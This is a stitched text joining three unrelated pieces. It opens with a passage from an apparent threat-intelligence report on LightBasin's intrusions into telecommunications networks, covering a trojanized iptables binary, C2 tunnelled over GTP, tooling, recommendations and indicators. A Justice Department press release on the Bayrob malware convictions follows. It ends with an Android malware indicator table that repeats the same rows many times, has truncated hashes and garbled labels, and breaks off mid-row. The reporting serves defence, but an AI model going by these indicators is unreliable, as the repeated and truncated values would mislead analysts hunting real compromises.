legitimate `iptables` binary with a trojanized version (SHA256: 97d4c9b5750d614face73d11ba8532e53594332af53f4c07c1543195225b76eb) that would filter out output from `iptables` that included the first two octets of the IP addresses belonging to the compromised telecommunications companies. These actions make it more difficult for administrators and analysts to identify the firewall rules through review of `iptables` output alone. | File Path | Description | |--------------------------------------------------|-------------------------------------------------------------------------------------------------| | /usr/local/sbin/iptables | Trojanized `iptables` binary that replaced legitimate version – SHA256: 97d4c9b5750d614face73d11ba8532e53594332af53f4c07c1543195225b76eb | | /usr/sbin/iptablesDir/iptables | Legitimate `iptables` binaries in a non-standard directory that are invoked by the trojanized version | | /usr/sbin/iptablesDir/iptables-apply | | | /usr/sbin/iptablesDir/iptables-batch | | | /usr/sbin/iptablesDir/iptables-multi | | | /usr/sbin/iptablesDir/iptables-restore | | | /usr/sbin/iptablesDir/iptables-save | | ## Serving GPRS Support Node (SGSN) Emulation LightBasin uses a novel technique involving the use of SGSN emulation software to support C2 activities in concert with TinyShell. SGSNs are essentially GPRS network access points, and the emulation software allows the adversary to tunnel traffic via this telecommunications network. TinyShell is an open-source Unix backdoor used by multiple adversaries; however, LightBasin uniquely combined this implant with the publicly available SGSN emulator `sgsnemu` through a bash script. This script constantly ran on the system, but only executed certain steps between 2:15 and 2:45 UTC each day. This window was specified via command-line arguments. During this window, the script performed the following steps in a loop: 1. Execute TinyShell to communicate with an actor-controlled C2 IP address hosted by the virtual private server (VPS) provider Vultr. 2. Add a route to the TinyShell C2 on the interface `tun0`. 3. Check for connectivity to the TinyShell C2 via `ping`. 4. If connectivity to the IP address fails, the script executes the SGSN emulator in a loop, attempting to connect to a set of nine pairs of International Mobile Subscriber Identity (IMSI) and Mobile Subscriber Integrated Services Digital Network (MSISDN) numbers that are used as arguments to the SGSN emulator. These numbers are required to generate Packet Data Protocol (PDP) context requests for connection to a Gateway GPRS Support Node (GGSN), which will then forward traffic to the C2 IP address. Once a connection is established, the SGSN emulator creates a connection to the GGSN via the GPRS Tunnelling Protocol (GTP), and utilizes the interface `tun0` for the connection. The TinyShell implant then uses `tun0`. 5. If a successful connection has not been made by the end of the 30-minute window, the script kills both the SGSN emulator and the TinyShell implant. In short, the SGSN emulator is used to tunnel TinyShell C2 traffic between the C2 server and the infected host via GTP through a GGSN. The script is used as a persistence mechanism; it runs continually, but attempts to establish a tunnel to each of the specified mobile stations, which, in turn, act as tunnels to the TinyShell C2 server. The script runs for only 30 minutes each day, culminating in a similar effect to a scheduled job. CrowdStrike Intelligence assesses that this sophisticated form of C2 is likely an OPSEC measure. This assessment carries moderate confidence, as GTP-encapsulated TinyShell C2 traffic is less anomalous within the environment of a global mobile communications network due to its use of a protocol native to the telecommunications infrastructure that is compromised. Additionally, GTP-encapsulated traffic is potentially subject to less inspection and restrictions by network security solutions. ## Additional Malware and Utilities **CordScan:** This executable is a network scanning and packet capture utility that contains built-in logic relating to the application layer of telecommunications systems, which allows for fingerprinting and the retrieval of additional data when dealing with common telecommunication protocols from infrastructure such as SGSNs. SGSNs could be targets for further collection by the adversary, as they are responsible for packet data delivery to and from mobile stations and also hold location information for registered GPRS users. CrowdStrike identified multiple versions of this utility, including a cross-compiled version for systems running on ARM architecture, such as Huawei’s commercial CentOS-based operating system EulerOS. LightBasin’s ability to fingerprint various brands of telecommunications products and compile tools for various architectures likely indicates robust research and development capabilities to target vendor-specific infrastructure commonly seen in telecommunications environments. This range of capability would also be consistent with a signals intelligence organization with a need to respond to collection requirements against a diverse set of target environments. **SIGTRANslator:** This executable provides LightBasin with the ability to transmit data via telecommunication-specific protocols while monitoring the data being transmitted. SIGTRANslator is a Linux ELF binary capable of sending and receiving data via various SIGTRAN protocols, which are used to carry public switched telephone network (PSTN) signaling over IP networks. This signaling data includes valuable metadata such as telephone numbers called by a specific mobile station. Data transmitted to and from SIGTRANslator via these protocols is also sent to a remote C2 host that connects to a port opened by the binary. This allows the remote C2 server to siphon data flowing through the binary and send data to SIGTRANslator from the C2 to be re-sent via a SIGTRAN protocol. Notably, data that is sent to and from the remote C2 is encrypted with the hard-coded XOR key `wuxianpinggu507`. This Pinyin translates to “unlimited evaluation 507” or “wireless evaluation 507.” “Wireless evaluation” is likely the correct translation, as the malware is targeting telecommunications systems. The identification of a Pinyin artifact indicates the developer of this tool has some knowledge of the Chinese language; however, CrowdStrike Intelligence does not assert a nexus between LightBasin and China. **Fast Reverse Proxy:** This open-source utility is a reverse proxy used by LightBasin to permit general access to the eDNS server via an actor-controlled C2 IP address hosted by the VPS provider Vultr. **Microsocks Proxy:** This open-source utility is a lightweight SOCKS5 proxy server, typically used by LightBasin to pivot to systems internally. **ProxyChains:** This open-source utility is capable of chaining proxies together and forcing network traffic through said chain of proxies, even if the program generating the traffic does not have proxy support. It utilizes a configuration file to specify proxies in use. The recovered configuration file contained a mixture of local IP addresses, IP addresses belonging to Vultr, and IP addresses belonging to eight different telecommunication organizations from around the world. Some of the tools and TTPs observed by CrowdStrike Services during investigations deviate from the more sophisticated, OPSEC-aware behavior of LightBasin observed in the past, such as by not encrypting binaries using LightBasin’s binary packer publicly known as STEELCORGI. The tools and TTPs cataloged in this blog post were observed in congruence with the usage of SLAPSTICK on select eDNS servers at the start of the intrusion, as well as during periods of strong time correlation, when SSH access from multiple compromised telecommunications companies and artifacts indicative of LightBasin tool usage overlapped. ## Recommendations It is not surprising that servers would need to communicate with one another as part of roaming agreements between telecommunications companies; however, LightBasin’s ability to pivot between multiple telecommunications companies stems from permitting all traffic between these organizations without identifying the protocols that are actually required. As such, the key recommendation here is for any telecommunications company to ensure that firewalls responsible for the GPRS network have rules in place to restrict network traffic to only those protocols that are expected, such as DNS or GTP. If already the victim of a LightBasin intrusion, simply restricting network traffic will not solve the problem as LightBasin has displayed the ability to utilize common telecommunications protocols such as GTP for command and control. In this event, CrowdStrike recommends an incident response investigation that includes the review of all partner systems alongside all systems managed by the organization itself. Similarly, if an organization wishes to determine whether they’ve fallen victim to LightBasin, any compromise assessment must also include a review of all of the aforementioned systems. Further, as it is a common situation where parts of the network may in fact be managed by a third-party managed service provider as opposed to the telecommunications company itself, an evaluation of security controls in place with the partner should be undertaken to ensure that the systems are sufficiently protected. CrowdStrike Services investigations commonly reveal a lack of any monitoring or security tooling on telecommunications core network systems. While the deployment of security tooling to real-time operating systems is generally limited, other Unix-based operating systems that support the core telecommunications network services are typically targeted by LightBasin and should have some basic security controls and logging in place (e.g., SSH logging forwarded to a SIEM, endpoint detection and response (EDR) for process execution, file integrity monitoring (FIM) for recording file changes of key configuration files). It is also important to ensure that appropriate incident response plans are in place that take into account situations involving partner-managed systems within the network in the event that such an incident is identified. This incident response plan should contain the roles and responsibilities of third-party managed service providers to ensure acquisition of forensic artifacts from third-party equipment not directly under the management of the telecommunication operator themselves. Finally, given that companies within the telecommunications vertical are extensively targeted by highly advanced state-sponsored adversaries on a constant basis, these organizations need to have access to up-to-date and comprehensive threat intelligence resources so they can understand the threats facing the industry. This intelligence should also provide insights into the TTPs of adversaries that telecommunications companies are likely to encounter, across both the corporate network and critical telecommunications infrastructure, so that these insights can then be used to further augment detection mechanisms and inform on decisions regarding existing security controls. ## Conclusion Securing a telecommunications organization is by no means a simple task, especially with the partner-heavy nature of such networks and the focus on high-availability systems; however, with the clear evidence of a highly sophisticated adversary abusing these systems and the trust between different organizations, focusing on improving the security of these networks is of the utmost importance. Given the significant intelligence value to any state-sponsored adversary that’s likely contained within telecommunications companies, CrowdStrike expects these organizations to continue to be targeted by sophisticated actors, further underscoring the criticality of securing all aspects of telecommunications infrastructure beyond simply focusing on the corporate network alone. ## Indicators of Compromise | Indicator | SHA256 Hashes | Description | |---------------------------------------------------------------|--------------------------------------------------------------------------------------------------|-------------| | /usr/bin/pingg | e9c0f00c34dcd28fc3cc53c9496bff863b81b06723145e106ab7016c66581f72 | PingPong | | | 4668561d60daeb7a4a50a9c3e210a4343f92cadbf2d52caab5684440da6bf562 | | | /usr/lib/om_proc | 3a259ad7e5c19a782f7736b5ac50aac4ba4d03b921ffc6a3ff6a48d720f02012 | Microsock | | | 65143ccb5a955a22d6004033d073ecb49eba9227237a46929495246e36eff8e1 | | | /usr/lib/frpc | 05537c1c4e29db76a24320fb7cb80b189860389cdb16a9dbeb0c8d30d9b37006 | Fast Reve | | | 16294086be1cc853f75e864a405f31e2da621cb9d6a59f2a71a2fca4e268b6c2 | | | /usr/lib/frpc.ini | N/A | Fast Reve | | | | Configura | | /usr/lib/cord.lib | 6d3759b3621f3e4791ebcd28e6ea60ce7e64468df24cf6fddf8efb544ab5aec0 | CordScan | | /usr/lib/libcord.so | c5ddd616e127df91418aeaa595ac7cd266ffc99b2683332e0f112043796ede1d | Telecomm | | /usr/bin/libcord.so | 9973edfef797db84cd17300b53a7a35d1207d166af9752b3f35c72b4df9a98bc | Scanning | | | 4480b58979cc913c27673b2f681335deb1627e9ba95073a941f4cd6d6bcd6181 | | | | ad9fef1b86b57a504cfa1cfbda2e2ac509750035bff54e1ca06f7ff311d94689 | | | /home/REDACTED/cordscan_raw_arm | cdf230a7e05c725a98ce95ad8f3e2155082d5a6b1e839c2b2653c3754f06c2e7 | CordScan | | | | Telecomm | | | | Scanning | | | | (ARM Arc | | /usr/lib/javacee | 917495c2fd919d4d4baa2f8a3791bcfd58d605ee457a81feb52bc65eb706fd62 | SIGTRAN | | /usr/lib/sgsnemu | bf5806cebc5d1a042f87abadf686fb623613ed33591df1a944b5e7879fb189c8 | SGSN Em | | /usr/bin/sgsnemu | 78c579319734a81c0e6d08f1b9ac59366229f1256a0b0d5661763f6931c3b63c | | | /usr/lib/sgsnemu_bak | b06f52e2179ec9334f8a3fe915d263180e538f7a2a5cb6ad8d60f045789123b6 | | | /usr/lib/tshd | a388e2ac588be6ab73d7e7bbb61d83a5e3a1f80bf6a326f42b6b5095a2f35df3 | TinyShell | | /home/REDACTED/win7_exp/proxychains.conf | N/A | ProxyCha | | /usr/lib/win7_exp/proxychains.conf | | Configura | | /var/tmp/.font-unix | N/A | SLAPSTIC | | | | Credentia | | /usr/local/sbin/iptables | 97d4c9b5750d614face73d11ba8532e53594332af53f4c07c1543195225b76eb | Trojanized | | /usr/sbin/iptablesDir/ | N/A | Threat Ac | | /sbin/iptablesDir/ | | created di | | | | containing | | | | legitimate | | | | iptables u | | | | following i | | 45.76.215.0/24 | N/A | Vultr IP ra | | 167.179.91.0/24 | N/A | Vultr IP ra | | 45.32.116.0/24 | N/A | Vultr IP ra | | 207.148.24.0/24 | N/A | Vultr IP ra | | 172.104.79.0/24 | N/A | Linode IP | | 45.33.77.0/24 | N/A | Linode IP | | 139.162.156.0/24 | N/A | Linode IP | | 172.104.236.0/24 | N/A | Linode IP | | 172.104.129.0/24 | N/A | Linode IP | ## Endnotes 1. Key examples of telecommunications-specific systems targeted include systems involved in the GPRS network such as External DNS (eDNS) servers, Service Delivery Platform (SDP) systems, and SIM/IMEI provisioning, as well as Operations Support Systems (OSS), and Operation and Maintenance Units (OMU). 2. https[:]//osmocom[.]org/projects/openggsn/wiki/Sgsnemu 3. Correction at 3 p.m. EST 10/20/2021: Clarified the methodology through which an SGSN emulator creates a GTP-encapsulated connection to an IP address. 4. Ibid.
# Two Romanian Cybercriminals Convicted of All 21 Counts Relating to Infecting Over 400,000 Victim Computers with Malware and Stealing Millions of Dollars A federal jury today convicted two Bucharest, Romania, residents of 21 counts related to their scheme to infect victim computers with malware in order to steal credit card and other information to sell on dark market websites, mine cryptocurrency, and engage in online auction fraud, announced Assistant Attorney General Brian A. Benczkowski of the Justice Department’s Criminal Division and U.S. Attorney Justin E. Herdman of the Northern District of Ohio. Bogdan Nicolescu, 36, and Radu Miclaus, 37, were convicted after a 12-day trial of conspiracy to commit wire fraud, conspiracy to traffic in counterfeit service marks, aggravated identity theft, conspiracy to commit money laundering, and 12 counts each of wire fraud. Sentencing has been set for Aug. 14, 2019, before Chief Judge Patricia A. Gaughan of the Northern District of Ohio. According to testimony at trial and court documents, Nicolescu, Miclaus, and a co-conspirator who pleaded guilty, collectively operated a criminal conspiracy from Bucharest, Romania. It began in 2007 with the development of proprietary malware, which they disseminated through malicious emails purporting to be legitimate from such entities as Western Union, Norton AntiVirus, and the IRS. When recipients clicked on an attached file, the malware was surreptitiously installed onto their computer. This malware harvested email addresses from the infected computer, such as from contact lists or email accounts, and then sent malicious emails to these harvested email addresses. The defendants infected and controlled more than 400,000 individual computers, primarily in the United States. Controlling these computers allowed the defendants to harvest personal information, such as credit card information, usernames, and passwords. They disabled victims’ malware protection and blocked the victims’ access to websites associated with law enforcement. Controlling the computers also allowed the defendants to use the processing power of the computer to solve complex algorithms for the financial benefit of the group, a process known as cryptocurrency mining. The defendants used stolen email credentials to copy a victim’s email contacts. They also activated files that forced infected computers to register email accounts with AOL. The defendants registered more than 100,000 email accounts using this method. They then sent malicious emails from these addresses to the compromised contact lists. Through this method, they sent tens of millions of malicious emails. When victims with infected computers visited websites such as Facebook, PayPal, eBay, or others, the defendants would intercept the request and redirect the computer to a nearly identical website they had created. The defendants would then steal account credentials. They used the stolen credit card information to fund their criminal infrastructure, including renting server space, registering domain names using fictitious identities, and paying for Virtual Private Networks (VPNs) which further concealed their identities. The defendants were also able to inject fake pages into legitimate websites, such as eBay, to make victims believe they were receiving and following instructions from legitimate websites when they were actually following the instructions of the defendants. They placed more than 1,000 fraudulent listings for automobiles, motorcycles, and other high-priced goods on eBay and similar auction sites. Photos of the items were infected with malware, which redirected computers that clicked on the image to fictitious webpages designed by the defendants to resemble legitimate eBay pages. These fictitious webpages prompted users to pay for their goods through a nonexistent “eBay Escrow Agent” who was simply a person hired by the defendants. Users paid for the goods to the fraudulent escrow agents, who in turn wired the money to others in Eastern Europe, who in turn gave it to the defendants. The payers/victims never received the items and never got their money back. This resulted in a loss of millions of dollars. The Bayrob group laundered this money by hiring “money transfer agents” and created fictitious companies with fraudulent websites designed to give the impression they were actual businesses engaged in legitimate financial transactions. Money stolen from victims was wired to these fraudulent companies and then in turn wired to Western Union or MoneyGram offices in Romania. European “money mules” used fake identity documents to collect the money and deliver it to the defendants. The FBI investigated the case, with assistance from the Romanian National Police. Senior Counsel Brian Levine of the Criminal Division’s Computer Crime and Intellectual Property Section (CCIPS) and Assistant U.S. Attorneys Duncan T. Brown and Brian McDonough of the Northern District of Ohio prosecuted the case. The Office of International Affairs also provided assistance in this case.
# Indicators of Compromise (IoCs) | SHA-256 | Package Name | Label | Version | App Internal Name | |-------------------------------------------|--------------------------------------|---------------------------|-----------|----------------------------------| | 00e82927b20d2db5bdfc6bff77f6841d0e59af80adce3f86f902776691 | com.iran.sunni.time | قح میسن | 1.1 | Azaan N-2 | | 7717b7354552c20ff897e9cdbdde | com.whatsapp.w4b | Business | 2.18.122 | WAB-01 | | 59e5f301cebc3a542b08c7f818540d826c | com.andromo.dev791306.app895682 | ينطوم | 1 | MAWTANI_AHAM | | 53b7b41c9 | com.andromo.dev785707.app891043 | سرب برام | 1 | MAREBPRESS-12000 | | 09649ca5ea3efb312b6fde47fb3e0 | com.geektoro.assrarnaja7.l7ayat | ةایحلا ىف حاجنلا1 | NA | NAJAHINHIAH-00 | | 30ae150ad4930bbbf510a4b71379a5415a | com.dianxinos.optimizer.duplay | DU Speed Booster | 2.4.6 | DU.Speed.Booster | | 114d5918470a25d27d99657a4cc9b15e194 | com.andromo.dev791306.app895677 | ينطوم | 1 | MAWTANI_KAMA | | 10e7ef263a62b3bde0047bc5870f | com.andromo.dev789740.app892709 | نایبلا ةفیحص | 1 | AL-BIANEMARAT.1.0 | | 146fd6f27df73bcdf9a245ed42904 | com.devhd.feedly | feedly | 38.0.0 | feedly_38 | | 18b9f74dba23030272ae87a46128 | com.andromo.dev785707.app890246 | ظاكع | 1 | AKAZMAIN.1.0-12000 | | 1abd66b4b608735e76053710384 | com.andromo.dev789740.app892698 | داحتلاا ةفیحص | 1 | ETHADEMARAT-13000 | | 208d3af2924585fae89228705bb5 | org.telegram.plus | Plus | 4.9.1.5 | Plus_Tele.4.9.1.2 | | 22df35ef54e8381ab7be67dfd4f78 | com.zico.shalt_2 | 2018 ينادوسلا | 1.4 | SHILAT_ABO_HA | | 24c3c9c8d4174da861ca852af2de | zozo.android.riddle | ةملكو زغل | 4.1 | PUZZLEANDWORD-12000 | | 2a1d539d08826b36f3e1dcad174c | com.maher4web.hisn | ملسملا نصح | 4 | Hisn Al Muslim | | 3a0cfebcac4a8c711d44d586eb4b | com.andromo.dev800523.app906043 | شیجلا تایموی | 1 | SITENEWS | | 30287e48b23b6098d7cebafb3b14 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا1 | MOSTAQBEL_RA | | 306db737da630c68957a3f9c200f | org.thoughtcrime.secures.ms | Signal | 4.6.1 | Signal | | 319c499932badf0b51fa4401d6cd | com.dianxinos.optimizer.duplay | DU Speed Booster | 2.4.6 | 193-DSB-51201 | | 34d750ec2c208982d37d8fb3fea3 | com.okaz.okaz_yemen | Okaz-Yemen | 1 | okaz | | 36be3e5f866a2b80ebe8e2f16b2d | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3.5-130000 | | 371f80e2cdb0a37280b03b006fd7 | com.andromo.dev798323.app903534 | نمیلا رابخا رخا1 | APPSAHEL-01 | | 3787bfd64c6092407a9e46d6a444 | com.andromo.dev783746.app883584 | يتحفص | 1 | Mareb-1.0-12000 | | 3984c25dba94309a89f911ecd65d | ding.com.android.messages | DingDing | 3.4.0 | 364-ding-71225 | | 3dd8ddce3d5d8ba028227b2aba2 | com.andromo.dev798323.app923901 | نطولا رابخا | 1 | WAFA-SA-0.2.1 | | 403f8e773d57c5b9247c089a11a9 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3.5-12000 | | 428c851322095fb1c737966a843c | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 76332cd87db67c15f536a911a4a5 | com.dianxinos.dxbs | DU Battery Saver | 3.7.1 | 188-DBS-51201 | | 7c7551acf443070ad728f8e197b4 | com.andromo.dev801338.app906994 | نمیلا رابخا رخا1 | ALHODIDA_NEW | | 821379d30653b6b6e9dd9010bd3 | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-12000 | | 8a2a5ea | org.telegram.plus | Plus | 3.18.0.3 | plus-messenger-3-18-0-3 | | 4590333a279c91e95a2f05426cde | com.andromo.dev798323.app934321 | ينطوم | 1 | WMOTANI.1.0.3 | | 4b3a60464fa67162faf533d458acf | com.andromo.dev786391.app887683 | ةقادصلا | 1 | FRINDSHIP.1.0-13000 | | 4c230a591f1ed15f447105ae5b35 | com.andromo.dev798838.app904084 | نمیلا رابخا رخا1 | APPMAREBL-01 | | 4cf86f63aef17ae5ce6e8f7f705e77 | org.telegram.plus | Plus | 4.9.1.5 | TELEGRAM-PLUSE_4.9-120004 | | 7aff2c322f02d3297840a4c72beda | org.telegram.messenger | Telegram | 3.2.5 | TELEGRAM2.3-17000 | | 55123ed4982fa135dbeda49969ab | kik.android | Kik | 3 | KIK8.7-12000 | | 69a8a8065cfff1725389a2a216235 | com.ag4apps.drawfuture | كسفنب كلبقتسم مسرا | MOSTAQBEL_RA | | 2a378119d452d1435cb1531f635b | com.duolingo | Duolingo | 3.104.2 | Duolingo_3.104.2 | | 9024728581ebdb071f3d1d4fc88a | org.telegram.messenger | Telegram | 4.8.10 | Telegram.4.8.10 | | 99f69685da77421a51421369c42f | com.jrzheng.supervpnfree | SuperVPN | 2.1.0 | SuperVPN Free_v2.1.0 | | 3a626839ba8b25af70113ad42cc6 | com.skyray.fekky_hekam | كتایح | 1 | HEKAM1.0-17000 | | 61c4ee1b0ad5a0457a04c78eb05 | ir.ahadis.bokhari | 2 یراخب | 2 | Sahih | | 62d74126525e5323c07d5f103dc2 | kik.android | Kik | 3 | KIK8.7-13000 | | 6774af8daf50c8fbe205285ed69b3 | com.aymsou.wasaya.raso | ایاصو عورلأ عیمجت | 1 | WASAYA-RASWOL-12000 | | 6791d66557ae34ab78d7376cabb | com.andromo.dev818085.app925502 | ةیرابخلإا أبن1 | NABA-V1 | | 73a5509351bb789af6a997c955d7 | com.pdfreder.pdfreder | ةقادصلا | 1 | Frinds | | 75a231d6026a4d0155710c76055 | com.andromo.dev798323.app950103 | كسفنب كلبقتسم مسرا | 1 | Al-Shaif-FUTURE | | 